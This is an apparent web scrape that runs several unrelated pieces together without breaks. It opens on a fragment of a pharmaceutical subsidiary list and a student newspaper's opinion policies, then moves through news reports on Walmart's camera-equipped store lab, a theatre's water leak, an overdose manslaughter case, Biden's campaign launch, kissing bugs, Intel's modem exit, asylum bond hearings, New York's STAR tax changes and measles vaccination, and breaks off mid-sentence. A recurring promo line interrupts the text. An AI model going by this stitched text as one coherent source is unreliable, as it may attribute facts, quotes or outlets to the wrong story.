Pharmion LLC, Princeton Pharmaceutical Products Inc., Receptos LLC, Receptos Services LLC, RedoxTherapies Inc., Route 22 Real Estate Holding Corporation, SPV A Holdings ULC, Seamair Insurance DAC, Signal Pharmaceuticals LLC, Sino-American Shanghai Squibb Pharmaceuticals Limited, Societe Francaise de Complements Alimentaires(S.O.F.C.A.), Squibb Middle East S.A., Summit West Celgene LLC, Swords Laboratories, VentiRx Pharmaceuticals Inc., Westwood-Intrafin SA, Westwood-Squibb Pharmaceuticals Inc., X-Body Inc., ZymoGenetics, ZymoGenetics Inc., ZymoGenetics LLC, ZymoGenetics Paymaster LLC, iPierian, and iPierian Inc.. Opinion Policies Editorials are longer opinion pieces that are written by a group of community members recruited across campus who address relevant issues on a local, national and international level. Editorials are research-based. The purpose of the Editorial Board is to promote discussion concerning relevant issues in the community while advising on possible solutions. Topics are chosen via relevancy and interests of the members, which are then discussed by the Editorial Board in order to reach a general consensus concerning the topic or issue. Feedback policy If you have a grievance concerning the content or argument of the Editorial Board, please contact either Opinion Editor Peyton Hamel (peyton.hamel@iowastatedaily.com) or the Editorial Board as a whole (editorialboard@iowastatedaily.com). Those wanting to respond to editorials can also submit a letter to the editor through the Iowa State Daily website or by emailing the letter to Opinion Editor Peyton Hamel (peyton.hamel@iowastatedaily.com) or Editor-in-Chief Sage Smith (sage.smith@iowastatedaily.com). Column Policy Columns are hyper-specific to opinion and are written by only columnists employed by the Iowa State Daily. Columnists are unique because they have a specific writing day and only publish on those writing days. Each column undergoes a thorough editing process ensuring the integrity of the writer, and their claim is maintained while remaining research-based and respectful. Columns may be submitted from community members. These are labelled as Guest Columns. These contain similar research-based content and need to be at least 400 words in length. The following requirements should be met: first and last name, email and relation or position to Iowa State. Emails must be tied to the submitted guest column or it will not be accepted or published. Pseudonyms are prohibited and the writer will be banned from submissions. Read our full Opinion Policies here. Updated on 10/7/2020 Levittown Who's minding the store? In the not-too-distant future it could be cameras and sensors that can tell almost instantly when bruised bananas need to be swapped for fresh ones and more cash registers need to open before lines get too long. Walmart, which faces fierce competition from Amazon and other online retailers, is experimenting with digitizing its physical stores to manage them more efficiently, keep costs under control and make the shopping experience more pleasant. On Thursday, the retail giant officially opens its Intelligent Retail Lab inside a 50,000-square-foot Neighborhood Market grocery store on Long Island. Thousands of cameras suspended from the ceiling, combined with other technology like sensors on shelves, will monitor the store in real time so workers can quickly replenish products or fix other problems. The technology, shown first to The Associated Press, will also be able to spot spills, track when shelves need to be restocked and know when shopping carts are running low. Cameras, for example, can determine how ripe bananas are from their color, and workers will get an alert on their phone if they need to be replaced. Walmart's deep dive into artificial intelligence in its physical store comes as Amazon raised the stakes in the grocery business with its purchase of Whole Foods Market nearly two years ago. That's put more pressure on Walmart and other traditional retailers like Kroger and Albertsons to pour money into technology in their stores. At the same time, they're trying to keep food prices down and manage expenses. Amazon has been rolling out cashier-less Amazon Go stores , which have shelf sensors that track the 1,000 products on their shelves. Walmart's online U.S. sales are still a fraction of Amazon's online global merchandise empire, which reached $122.98 billion last year. But Walmart says more than 140 million U.S. shoppers visit a store in person or online per week, creating a treasure trove of data. In its latest fiscal year ended Jan. 31, Walmart generated more than $500 billion in sales globally. Walmart hopes to start scaling some of the new technology at other stores in the next six months, with an eye toward lower costs and thus lower prices. As the shopping experience improves, the retailer expects to see higher sales. "We really like to think of this store as an artificial intelligence factory, a place where we are building these products, experiences, where we are testing and learning," said Mike Hanrahan, CEO of Walmart's Intelligent Retail Lab and co-founder of Jet.com, purchased by Walmart three years ago. Hanrahan says the cameras are programmed to focus primarily on the products and shelves right now. Sensors embedded in shelves will give the store extra information because they know what's at the back of the shelves that the cameras can't see. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Cameras do not recognize faces, determine the ethnicity of a person picking up a product or track the movement of shoppers, he says. Some other companies have recently started experimenting with store shelf cameras that try to guess shoppers' ages, genders and moods. There are signs throughout the Neighborhood Market educating shoppers about how it is being used as a lab. Still, the cameras could raise privacy concerns. "Machine learning fundamentally finds and matches patterns," says Steven M. Bellovin, a computer science professor at Columbia University and a privacy expert, who hasn't seen the new Walmart AI Lab. But he says companies run into trouble when they start to match behavior to a specific customer. Hanrahan says Walmart has made sure to protect shoppers' privacy and emphasized that there are no cameras at the pharmacy, in front of the rest rooms or in employee breakrooms. The lab is Walmart's second in a physical store. Last year, Walmart's Sam's Club opened a 32,000-square-foot lab store, a quarter of the size of a typical Sam's Club. The lab is testing new features surrounding the Scan & Go App, which lets customers scan items as they shop and then buy from their phones, skipping the checkout line. An anticipated Sunday evening performance of The Bizarre World of Frank Zappa, bumped from the Palace following water problems, has been rescheduled at the Egg less than a day after the venue shuttered its weekend programming. All tickets purchased for the originally scheduled show at the Palace Theatre will be honored at The Egg night of show and exchanged for comparable seating at the new location, explained an announcement on the Palace website. The concert, which melds live musicians with onstage holograms of Zappa, was one of three major Palace shows affected by the water issues along with a scheduled Friday performance of Derek Hough Live! and a Thursday-evening performance of PJ Masks Live! Save the Day, both canceled on Thursday afternoon. A day earlier, the Palace scrapped a Wednesday screening of Mary Poppins. Both the venue and the city expect all will be resolved in time for next weekends programming, which includes a Friday, May 4, performance by the Albany Symphony and a Saturday, May 5, appearance by John Mulaney and Pete Davidson. Thats our understanding, said Palace marketing director Sean Allen. You know, from a building standpoint, we dont see any reason why that shouldnt be the case. Were ready to go, as long as everythings fixed outside the building. So we believe everything should be perfectly fine. City water commissioner Joseph Coffey confirmed as much. We certainly hope to have this done by next weekend. Were hoping to have it done by the end of today, he said at mid-day Friday. Although the main issues at the Palace have been resolved, Coffey said, a leak remains. Were trying to see where that waters coming from. . . So were doing some exploratory work this afternoon to make sure we have all our Is dotted and Ts crossed. With water now shut off to both the Palace and the nearby Leo W. OBrien Federal Building, the city was working to identify undocumented pipes in Albanys 130-year-old tangle, he said. The Palaces water woes began on Tuesday, when Palace staff found a real small water leak in the basement nothing out of the ordinary for an old building, Allen said. When the city arrived to take a look, a branch valve broke. On Wednesday, with no functioning bathrooms in sight, the Palace canceled Poppins but expected all would be corrected by Thursday morning. We were under the impression that everything would be fine and fixed so thats why we planned on moving ahead with everything, Allen said. As the day wore on, and the Palace could not be confident of plumbing for the weekend, the shows were scratched. Canceling the venues programming through Sunday made more sense and seemed fairer to the public than canceling each on short notice, Allen added. What we didnt want to do was get into a process where every day were canceling an event two or three hours before. The current state of affairs is not an ideal situation, and we are working hand-in-hand with the city, of course but in terms of final outcome, its a water main. So its out of our control. Regarding the Palaces decision to cancel, Coffey said, I think they made a prudent decision. They made it with an abundance of caution. Tess Collins, owner of the Irish pub McGearys across from the Palace, said she was inside the venue on Thursday afternoon and saw a staff fully prepared for the evenings show. They were already set up, and the people were ready to go, she said. A big show at the Palace normally means a busy night at McGearys and a doubling or tripling of her workers but she doesnt blame the venue. Thats fine, she said. I just have to downsize my staff. ALBANY A city man who hid a woman as she slowly died of a heroin overdose and then dumped her body was sentenced Friday to 9 to 19 years in prison. Tamale Harris, 43, was convicted by a jury in March of manslaughter and concealing a corpse in the 2018 death of Keisha Richards, 24, of Vermont. Richards was found dead after she was dumped in a median on Kent Street. Police determined she had overdosed and that she hadn't been alone. Harris and others she was with neglected to call emergency services, leaving her without medical attention, before bleaching and dumping her body in a snowbank on March 13, 2018, officials said. Richards, who would have turned 26 on Friday, was one of five siblings adopted by Peg and Mick Richards. The couple also has two other adopted children. In her victim impact statement, Peg Richards said, "I always told Keshia she was the apple of my eye and she was God's child." She first met Keisha when the girl was 3. "She looked like an angel to us," her mother said. "She was a bundle of energy and love." Harris expressed regret to Richards' family over the loss of their daughter but denied killing her. "I didn't do the crime. I didn't do the crime at all," he said. Acting Supreme Court Justice Roger McDonough said manslaughter is usually considered a crime of passion, but, in the case of Richards' death, "This is a crime marked by a complete lack of compassion." On the night before Richards died, Harris took her and Jodi Noisseau, 48, to the Capital Inn and Suites in Rensselaer for a party. The group drank, did drugs and had sex. Prosecutors said they believe believe Richards took heroin and lay down in the room while Harris and Noisseau continued their night. Surveillance video from the next morning showed Harris carrying Richards' limp body to a car. The group drove to Noisseau's apartment and Harris left. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Prosecutors said that rather than drop Richards off at a hospital or call 911, the group left her alone for hours. Later, Noisseau noticed that Richards' pulse was slowing and that she was barely breathing so Noisseau called Harris, telling him they should call an ambulance, but he said no, prosecutors said. Noisseau, who testified at the trial, said Harris directed her to clean Richards' body with bleach in an attempt to hide any evidence. Harris then borrowed a truck and dumped Richards' body. He was arrested in September. Harris is already in state custody serving time for violating the terms of his parole from prison on a drug offense. Noisseau and another man connected to the case, Christopher Kondracki, were arrested in July. In September, Noisseau pleaded guilty to manslaughter and faces up to 15 years in state prison. Kondracki was also charged with tampering with physical evidence, concealment of a human corpse and conspiracy. His case is awaiting trial. Former Vice President Joe Biden announced Thursday that he would seek the Democratic nomination to challenge President Donald Trump in 2020, marshaling his experience and global stature in a bid to lead a party increasingly defined by a younger generation that might be skeptical of his age and ideological moderation. Biden, 76, is set to offer himself as a levelheaded leader for a country wracked by political conflict. In a 31/2-minute video laying out his reasons for running, Biden began by recalling the white supremacist march through Charlottesville, Va., in 2017 and a counterprotest, and Trump's comment that there were "very fine people on both sides." In that moment, Biden said, "I knew the threat to our nation was unlike any I'd ever seen in my lifetime." "We are in the battle for the soul of this nation," Biden said. "I believe history will look back on four years of this president and all he embraces as an aberrant moment in time. But if we give Donald Trump eight years in the White House, he will forever and fundamentally alter the character of this nation, who we are, and I cannot stand by and watch that happen." Trump, in a Twitter post about Biden on Thursday, did not respond to those remarks, but lampooned the former vice president as "Sleepy Joe" and derided the Democratic field. "I only hope you have the intelligence, long in doubt, to wage a successful primary campaign," he wrote. "It will be nasty you will be dealing with people who truly have some very sick & demented ideas." Biden is seen by many Democrats as a trustee of former President Barack Obama's legacy, perhaps capable of restoring the consensus-seeking liberalism of Obama's administration. A spokeswoman for Obama issued a statement praising Biden without endorsing him, a sign of both the political value of that relationship and also the limits of what Obama might do to support his former running mate. On Thursday morning, at the Wilmington, Del., Amtrak station that bears his name, Biden told reporters he did not want Obama's backing at the outset. "I asked President Obama not to endorse, and whoever wins this nomination should win it on their own merits," Biden said. As Biden joins a race with 19 other Democratic candidates, he is in an unaccustomed political position: He is an early front-runner for the nomination, though by no means an imposing one. He has run four previous national campaigns but in a half-century career he has never been the starring actor. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. The overarching question of Biden's campaign is whether he can fill that role with sufficient competence and imagination, and dispel concerns that he lacks the discipline to run an effective campaign or the vision to ignite enthusiasm. In his announcement video, Biden's opening argument to Democratic voters and the country at large attempted to set him above and apart from his party's ideological dividing lines and crowded field of candidates. He made a thematic attempt to define the Democratic primary in terms of a question: which candidate can beat Trump and restore normalcy. One liberal advocacy group, Justice Democrats, announced Thursday that it would oppose Biden's candidacy. "The old guard of the Democratic Party failed to stop Trump, and they can't be counted on to lead the fight against his divide-and-conquer politics today," said Alexandra Rojas, the group's executive director, in a statement. Biden will seek to make the case for himself in the coming days, giving his first television interview Friday on ABC's "The View." He will then barnstorm key primary states over the next few weeks, starting on Monday in Pittsburgh, followed by trips to Iowa, South Carolina, Nevada, California and New Hampshire by the middle of May. The Biden rollout is set to culminate in Philadelphia on May 18. Biden unveiled a list of about senior aides to help steer his political operation and confirmed that Greg Schultz would be his campaign manager. Health officials are warning people about kissing bugs and the deadly disease they can spread after the insect bit a girl in Delaware. Kissing bugs also known as triatoma sanguisuga, are most common in Latin America, and this was the first time one has been spotted in Delaware. The bug bit the girl on the face while she watched TV in her bedroom last July, according to the Centers for Disease Control and Prevention. Her parents reached out to the Delaware Division of Public Health and the Delaware Department of Agriculture for help identifying the bugand officials confirmed that it was a kissing bug. Kissing bugs have also been spotted in Pennsylvania, Maryland, and states across the southern U.S., according to CDC data. And, while the bugs name sounds innocent enough, it can spread a deadly infection called Chagas disease that can cause lifelong problems and even death for patients. Kissing bugs are a type of reduviid bug, which is a winged insect, the CDC says. Kissing bugs can fly, but they usually get around by crawling. And while kissing bugs can look like box-elder bugs, which are common in western states, theyre not the same thing. These bugs feed on human blood, and then defecate on or near a person while theyre feeding on their blood (usually while the person is sleeping). People often will accidentally rub the feces into the bite wound or a mucus membrane, like their eyes or mouth, and the feces can enter their body. And, when this happens, theyre at risk of contracting Chagas disease, a potentially deadly infection that kissing bugs can carry. Kissing bugs can carry the parasite Trypanosoma cruzi (T. cruzi), and that can cause Chagas disease. Not all kissing bugs carry the disease, but they definitely have the potential. Chagas disease has two phases: The acute phase, which happens for the first few weeks or months after youve been infected, followed by the chronic phase, which can come up anywhere from 10 to 20 years after youve been bitten by a kissing bug, the CDC says. During the acute phase, you can develop the following symptoms: Fever Fatigue Body aches Headache Rash Enlargement of your liver or spleen Swollen glands Localized swelling where the parasite got into your body Swelling of the eyelids on the side of your face near the bite wound (called Romanas sign) The chronic phase can cause no symptoms, or it can cause issues like an irregular heartbeat, congestive heart failure, sudden cardiac arrest, or stomach pain due to an enlarged colon, the CDC says. About 20 to 30 percent of those infected can later develop problems related to Chagas, says Richard Watkins, MD, an infectious disease physician in Akron, Ohio, and an associate professor of internal medicine at Northeast Ohio Medical University. Where do kissing bugs hide in a home? Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. In general, kissing bugs like to hide in cracks, under brush piles, and porches, says infectious disease expert Amesh A. Adalja, MD, senior scholar at the Johns Hopkins Center for Health Security. Usually theyre found in places where theres sub-standard housing, he says. Its hard for them to get inside most homes because of plastered walls and things being sealed. Should you be worried about kissing bugs? It was once thought that kissing bugs were only found in Latin America or along border states, like Texas, but data (and sightings like the latest one in Delaware) have shown thats just not the case, Dr. Adalja says. Dr. Adalja urges people to have perspective. Just because were seeing this bug in places like Delaware doesnt necessarily mean Chagas is in Delaware, he says. Most cases of Chagas in the U.S. have been acquired outside of the U.S. and brought back. (The kissing bug that was found in Delaware was not carrying T. cruzi, the CDC said.) Of course, the best way to avoid contracting Chagas from a kissing bug is to avoid getting bitten by the bug in the first place, Dr. Watkins points out. Thats why Dr. Adalja recommends that people at least be aware of what kissing bugs look like and to keep track of when theyre in your area. If the bugs have been spotted in your area, he recommends making sure your home is well sealed and that you dont leave doors open for them to crawl inside. Otherwise, you should be okay. Stay updated on the latest science-backed health, fitness, and nutrition news by signing up for the Prevention.com newsletter here. For added fun, follow us on Instagram. Intel is officially out of the smartphone modem business, which the company attributes to the settlement between Qualcomm and Apple. But it sounds like the companys future could have been very different. According to a report from The Wall Street Journal, Apple held discussions with Intel over the possibility of acquiring part of Intels smartphone modem business. Apple reportedly had aspirations of speeding up its own chip development. The report indicates the talks began in the summer of last year and went on for months. But, unsurprisingly, they ended once Apples and Qualcomms settlement terms came to light. Intel right now is reportedly exploring a variety of strategic alternatives to the smartphone modem business, but, as it stands, there is no word on what Intel might be doing next. However, it could still be interested in a sale to Apple or another company, according to unnamed sources speaking to the original publication. Courtesy of the legal actions between Qualcomm and Apple, it was expected that Apple would be tapping Intel to handle 5G modem orders for the 2020 iPhone lineup. However, things have changed, and now Apple will use Qualcomm (and Samsung) 5G modem chips for the iPhone lineup in that year. As for Apple, there are rumors that Apple is building its own cellular modem chip, and an acquisition of Intels size would be a massive help in that regard. [via WSJ BATAVIA - Months after asylum-seekers who crossed the U.S.-Mexico border were detained in New York, they one by one had their day in immigration court seeking release. Detainees documented that two immigration judges granted bond and released 13 while their asylum cases were being decided. Immigration judge Philip J. Montante Jr. denied bond to the other 31 detainees. In January, 26 asylum seekers still detained in Batavia Federal Detention Facility near Buffalo signed a complaint letter to the Department of Homeland Security's Office for Civil Rights and Civil Liberties. The asylum-seekers, who passed through Albany County Jail last summer, said they fled Sikh religious or political persecution in India. Another detainee from Windham, held for more than a year, organized the complaint. The letter questioned why immigration judges, granted discretionary powers by the same agency and reviewing similar cases, could have totally different track records. Detainees claimed they were denied fair and adequate bond hearings and wrongfully denied due process because of bias. "Is this the real face of justice or is this the self-serving political agenda of (immigration judge) in coherence with the administration's anti-immigration policies? What is the future of these and any more victimized detainees who fell victims of this kind of biased (immigration judges)? Is judiciary mute on prolonged detention of asylum seekers?" the letter read. Detained immigrants who have not been convicted of a crime are eligible for release if they don't pose a public safety or flight risk. Attorney General William Barr ruled last week that asylum-seekers who crossed the border illegally will no longer be eligible, starting in 90 days. But these bond hearings at Batavia took place before Barr's ruling. The letter reads that in hearings, Montante cited case law that immigrants who committed fraud, were convicted of crimes, or posed a potential danger aren't eligible for bond - but asylum-seekers argued they didn't fall into those categories. Montante's track record concerns immigration attorneys in Buffalo and Batavia who described it as strict and shocking. He has been an immigration judge in New York and Florida since 1990. Data from Syracuse University's Transactional Records Clearinghouse shows that in Orlando's court, he denied bond in 96 percent of his cases - among the top 20 judges with the highest denial rates in the country. After being transferred back to Buffalo's court, he denied 68 percent of cases, dropping his ranking. He was appointed as an assistant chief immigration judge supervising Batavia and Buffalo immigration courts in March 2019. Detainees showed the Times Union the letter in response to their complaint from the Executive Office of Immigration Review, the agency that runs immigration courts, on April 5. "Please be advised that this matter is now considered closed," the letter read. The agency cited a privacy act that prevents it from disclosing whether any action was taken against the immigration judge, but said "be assured that your complaint was reviewed fully and handled appropriately." When sent a summary over email, the EOIR spokesman said "the office has not provided such comment." Montante did not respond to request for comment and the spokesman said judges do not grant interviews. EOIR tracks complaints against immigration judges. In fiscal year 2018, the agency opened 105 complaints and closed 98, with 28 still pending. More than 60 percent were dismissed. For now, asylum-seekers denied bond are behind bars indefinitely. "We are mentally stressed and upset because I don't even know the end of my detention," said Rajendra Singh over a video chat from Batavia. He's been detained for 11 months. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. The asylum seekers said they left India because they feared for their lives due to their religion or membership in a Sikh minority political party. Anti-Sikh violence in India dates back to mob riots in the 1980s. Protesters at Prime Minister Narendra Modi's U.S. visit said persecution of religious minorities has increased under his Hindu nationalist party. Asylum-seekers flew to Central America then traveled by foot to cross the California border illegally. They were detained by Customs and Border Patrol, held in Albany County Jail where they were interviewed by asylum officers, then transferred to Batavia to await their asylum hearing before an immigration judge. Another detainee, Parminder Singh, said Montante questioned him at his asylum hearing in March about who helped him write the letter before postponing the hearing for another two months. Montante denied asylum to almost all the other detainees, who are now appealing their cases. "I'm in a bind. I came to claim asylum and save my life. I'm stressed here. When I call my family, I cry on the phone all the time," Singh said. "I am equally scared if I made any mistakes by complaining against this." Some immigration attorneys said they've won appeals challenging Montante's bond denial decisions. Others like Bob Graziano said he's had cases with almost identical facts granted bond before one judge but denied before Montante. In a case in early April before Montante, Graziano wanted to withdraw a bond request for a client to not risk a denial. When asked why, he told the judge directly. "I basically felt he was biased in bond hearings against granting bond. Rather than looking at the totality of circumstances, he would prefer to find a way to deny a bond," Graziano said. Attorney Matthew Borowski said the judge "won't grant anyone bond." Aadhithi Padmanabhan, an attorney at the New York Civil Liberties Union who is litigating bond issues at Batavia, said the situation raised concerns. "It would be very troubling if an immigration judge had a blanket no-bond policy," she said. "No government official - from the attorney general to an immigration judge - can lock up asylum seekers without individualized consideration of their circumstance. Due process requires nothing less." ALBANY Homeowners, take note: If you dont switch the way you get your School Tax Relief (STAR) property tax break, it could cost you money. Starting this fall, those who opt to keep getting their savings as an exemption, or a reduction on their tax bill, rather than as a rebate check wont benefit from an annual increase in their STAR savings of up to 2 percent. And those with incomes between $250,000 and $500,000 could lose the tax break entirely if they dont sign up to get the savings in a check rather than taking it off their bill. The changes are the latest iteration of the seemingly ever-changing STAR program, which aims to help ease the burden of New Yorks highest-in-the nation school taxes by lowering the amount at which a home is assessed for property tax purposes. The state Department of Taxation and Finance says it is instituting the changes to better track the STAR program, which is available to homeowners with incomes of up to $500,000. Moving the savings to a rebate or credit is more efficient than taking the savings off the bill, which is also known as an exemption. But others see it as a move to help the Cuomo administration continue to say that it has kept state expenditure growth below 2 percent annually. Because the rebate checks are tied to incomes, they are booked as a reduction in revenue flowing to the state. The exemptions, however, are recorded as an state expense. The reason: New Yorks general fund pays school districts the difference between the full tax bill and the bill with a STAR exemption. And they say this latest change will likely take many homeowners by surprise, even though the state says it will be informing people of the change in coming months. Some may be upset when learning they didnt get the 2 percent additional savings. Those who earn between $250,000 and $500,00 will be truly angry if their school taxes no longer include STAR savings, which can be $1,000 or more depending on a homes value. I foresee there being a lot of angry taxpayers, said David Friedfel, Director of State Studies at the Citizens Budget Commission, a spending watchdog group. There certainly should be more pushback on this, added Queensbury Assessor Teri Ross, a former president of the state Assessors Association. Ross, who said other assessors are worried about the change as well, sees a number of potential land mines. For one thing, they worry about when homeowners will be notified by the state about the changes. While they are listed on the Department of Taxation and Finance website, people need to be contacted and reminded about this. And like Friedfel, Ross fears that a lot of homeowners between the $250,000 and $500,000 bracket will simply lose their exemptions and get significantly larger bills in the fall if they havent switched to the credit, or rebate check. A boatload of people are getting denials, she said. The savings can be gotten retroactively but that will involve time and hassle for both homeowners, assessors and the state. For those who pay taxes through an escrow account on their monthly mortgage payment, the costs will simply rise. Additionally, many older residents, whose mortgages are paid off, simply write a check for their school taxes in September when they are due. But if they switch to the rebate, the amount they must pay up front could easily increase by several hundred dollars, which will be a hardship for those on low incomes. Its almost preying on the elderly, Ross said. More for you Seniors face changes in STAR school tax relief program Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. This is one of several changes made to the $3.4 billion STAR program since it was created almost two decades ago. In 2016, new homeowners had to sign up for rebate checks they couldnt get the exemption. STAR reduces by $30,000 the value of a homes assessment for tax purposes, as long as the owners income is below $500,000. Those 65 and older with incomes below $86,300 get a larger home value reduction of $68,700. Another change this year centers on enforcement: Those who knowingly provide false information on STAR applications can be banned from getting the benefits for six years. The STAR reduction is supposed to be for ones primary residence, but there have been cases of people knowingly or otherwise claiming the break on multiple properties. Friedfel sees the latest move as one of several bookkeeping gambits to allow Gov. Andrew M. Cuomo to keep saying he has kept spending growth below 2 percent, since the rebates come off the income side of the equation. STAR costs the state $3.4 billion annually. The cost accrues to the state since the general fund reimburses local school districts the money that homeowners save through the tax break. The Citizens Budget Commission, for example, in January concluded that the proposed 2019-20 budget was actually growing by 3.4 percent rather than the self-imposed 2 percent limit the Cuomo Administration says it is. Its because of these types of offsets, Friedfel said of how they stay at 2 percent. rkarlin@timesunion.com 518 454 5758 @RickKarlinTU The United States is experiencing its second-highest number of measles cases in nearly two decades. The Centers for Disease Control and Prevention said the diagnosed cases have climbed to 465. At least 20 states have reported cases of the highly contagious virus. New York City officials have ordered mandatory measles vaccinations to halt an outbreak. The outbreaks are linked to people who traveled from countries such as Israel, Ukraine and the Philippines, where large measles outbreaks are occurring. The disease is spreading in U.S. communities that have relatively high numbers of people who have not been vaccinated against measles. Here are some answers to commonly asked questions about measles, which can cause serious complications among all age groups, especially young children, adults with weakened immune systems, and the very elderly. Do I need another dose of the measles vaccine? The Centers for Disease Control and Prevention recommends children get two doses of the MMR (measles, mumps and rubella) vaccine, starting with the first dose at 12 to 15 months of age and the second dose at 4 to 6 years of age. For adults, if you were born before 1957, the CDC says it is unlikely you need more MMR shots. That's because most people born before then caught measles and thus have natural immunity. If you have no written documentation anywhere that you have had an MMR shot, talk with your doctor. People born between 1957 and 1989 generally only had one MMR dose. One dose is about 93 percent effective at preventing measles, but anyone in that age group can still get a second dose, says Russell Faust, medical director for Michigan's Oakland County health department. The county, part of metropolitan Detroit, has an ongoing measles outbreak with 39 cases reported. Two doses are about 97 percent effective. Even if you had two doses (or can't remember), it's okay to get a third dose, he says. "There's no downside to getting an MMR, especially during an outbreak," says Faust. How dangerous is measles for adults? Adults who have weakened or impaired immune systems caused by diseases, cancers or medications, or those who may have altered immunity such as the very elderly, are at higher risk for severe complications from measles, including pneumonia. They are also at higher risk for adverse reactions to the vaccine, and they should talk with their doctor. Faust says protection with a protein injection called immune serum globulin may be more appropriate. How long does it take for the body to develop immunity after getting an MMR shot? It takes seven to 21 days for the body to mount the maximum immune response, and can be as long as one to two months, Faust says. How does measles spread? Measles is one of the most contagious diseases on Earth. It is a respiratory infection caused by a virus. The virus lives in the nose and throat of an infected person. It can spread by direct contact with infectious droplets or through the air when an infected person breathes, coughs or sneezes. The measles virus can remain infectious in the air for up to two hours after an infected person leaves an area. If other people breathe the contaminated air or touch the infected surface, then touch their eyes, noses or mouths, they can become infected. Measles is so contagious that if one person has it, up to 90 percent of the people close to that person or who walk through the same area and are not immune also may become infected. Infected people can spread measles to others from four days before through four days after the appearance of a rash. That's why many health officials in places experiencing outbreaks, such as New York's Rockland County and New York City and Washington state, have declared public health emergencies. Rockland County executives tried to ban unvaccinated minors from public places, including churches, schools and shopping centers. New York City just announced mandatory vaccinations in affected Zip codes. Can antibiotics treat measles? No. Antibiotics are used for infections caused by bacteria. Measles is caused by a virus. There is no specific treatment for measles. Health-care professionals try to prevent the disease by administering the measles, mumps, rubella (MMR) vaccine to children. Nonimmunized people, including infants, may be given the measles vaccination within 72 hours of exposure to the virus to provide protection against the disease. Pregnant women, infants and people with weakened immune systems who are exposed to the virus may receive a protein injection called immune serum globulin within six days of exposure to prevent measles or reduce the symptoms, according to the Mayo Clinic. How dangerous is measles? Measles can be deadly, especially for babies and young children. Some people may have severe complications, such as pneumonia (infection of the lungs) and encephalitis (swelling of the brain), which can lead to hospitalization and death. Measles may cause pregnant woman to give birth prematurely or have a low-birth-weight baby. According to the CDC: As many as one out of every 20 children with measles gets pneumonia, the most common cause of death from measles in young children. About one child out of every 1,000 who get measles will develop encephalitis, which can lead to convulsions and can leave the child deaf or with intellectual disabilities. For every 1,000 children who get measles, one or two will die from it. Recent findings from researchers in California indicate a rare neurological complication that kills children years after they have been infected by the measles virus is more common than previously thought. The neurological disorder can lie dormant for years, and then is 100 percent fatal. There is no cure. For babies who get measles before being vaccinated, the rate is one in 609. How effective is the measles vaccine? The MMR vaccine is very effective. One dose is about 93 percent effective at preventing measles. Two doses are about 97 percent effective. The CDC recommends children get two MMR doses, starting with the first dose at 12 through 15 months of age and the second dose at 4 through 6 years of age. What about pregnant women? Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. If you are pregnant, clinicians say to wait to get the MMR shot until after the baby is born. It is safe for women who are breast-feeding to get a measles shot, according to Wendy Sue Swanson, a Seattle pediatrician. Why are infants at risk of measles? If a baby's mother has had her MMR shots or had a measles infection in her life, she passed antibodies to her baby during fetal development. Those antibodies provide protection for young infants and typically are thought to protect infants for up to six months or more, but researchers don't really know the length of protection. Immunity wanes for these babies as they age and the mom's antibodies fail to persist. Does the measles vaccine cause autism? No, there is no link between autism and the MMR vaccine. This has been carefully examined by many doctors and scientists from around the world in large and thorough studies. Scientists are studying what does make a child more likely to have autism, such as genes or an older father. How did the idea that the MMR vaccine causes autism originate? The debunked claim that there is a relationship between vaccines and autism largely stems from the late 1990s. At the time, autism diagnoses had been increasing, and doctors did not know why. In 1998, British researcher Andrew Wakefield published a fraudulent paper, which was subsequently retracted, linking autism to the MMR vaccine. Evidence emerged that Wakefield had been paid by attorneys for parents who were suing MMR manufacturers and that Wakefield's data were fraudulent. The Lancet retracted his study in February 2010. That year, Wakefield was found guilty of professional misconduct by Britain's General Medical Council, and his license was revoked. How are vaccines tested for safety? Vaccines are among the most thoroughly tested medical products available in the United States. Before a vaccine can be considered for approval by the Food and Drug Administration, the manufacturer must show it is safe and effective through clinical trials. This scientific process can take over a decade and cost millions of dollars. The FDA then examines these studies and determines whether a vaccine is safe, effective and ready to be licensed for use. The FDA licenses only those vaccines that have data showing their benefits outweigh the potential risks. If there is any question about the data, or any holes in the data, the FDA will request further studies before approving the vaccine. Vaccinate Your Family, the nation's largest nonprofit dedicated to advocating for vaccinations, provides a good explanation of the four systems in the United States that work together to help scientists monitor the safety of vaccines and identify any rare side effects that may not have been found in clinical trials. For example, some side effects may happen only in 1 in 100,000 or 1 in 500,000 people. Vaccine trials may not include certain populations, such as pregnant women or people with specific medical conditions who might have different types of side effects or who might have a higher risk of side effects than the volunteers who got the vaccine during clinical trials. One system, known as the Vaccine Adverse Event Reporting System, or VAERS, relies on individuals to report vaccine reactions. Anyone can report a reaction or injury, including health-care providers, patients and patients' representatives, such as caregivers or attorneys. The system is co-managed by the FDA and the CDC. The purpose of VAERS is to see whether unexpected or unusual patterns emerge, potentially indicating a vaccine safety issue that needs to be researched further. Another system, called the Vaccine Safety Datalink, is a collaboration between the CDC's Immunization Safety Office and eight large health-care organizations across the country. It conducts studies based on questions or concerns raised from the medical literature and reports to VAERS. In addition, when new vaccines are recommended or if changes are made in how a vaccine is recommended, the VSD will monitor the safety of these vaccines. The system has information on the kind of vaccine given to each patient, the date of vaccination and other vaccinations given on the same day. It also uses information on medical illnesses that have been diagnosed at doctors' offices, urgent-care visits, emergency department visits and hospital stays. A third system, called the Clinical Immunization Safety Assessment Project, or CISA, is a national network of vaccine safety experts from the Immunization Safety Office, seven medical research centers and other partners. It also addresses vaccine safety issues and conducts clinical research. A fourth system, called the Post-Licensure Rapid Immunization Safety Monitoring, or PRISM, is a partnership between the FDA's Center for Biologics Evaluation and Research and leading health insurance companies. It actively monitors and analyzes data from a representative subset of the general population. Are religions opposed to vaccines? No. Scholars believe no major religious group advocates against vaccinations on the basis of official doctrine, and experts say the majority support vaccinations. Large majorities of Americans from all major religious groups say healthy children should be required to receive vaccinations to attend school, according to the Pew Research Center. However, some individuals from various faith traditions believe vaccinating goes against their religious beliefs. ALBANY An Albany County jail guard accused of raping a female inmate pleaded not guilty Friday morning at his arraignment in county court. Michael Snyder Sr., 59, of Rensselaerville appeared in front of Judge William Carter for arraignment on a 13-count grand jury indictment. The grand jury 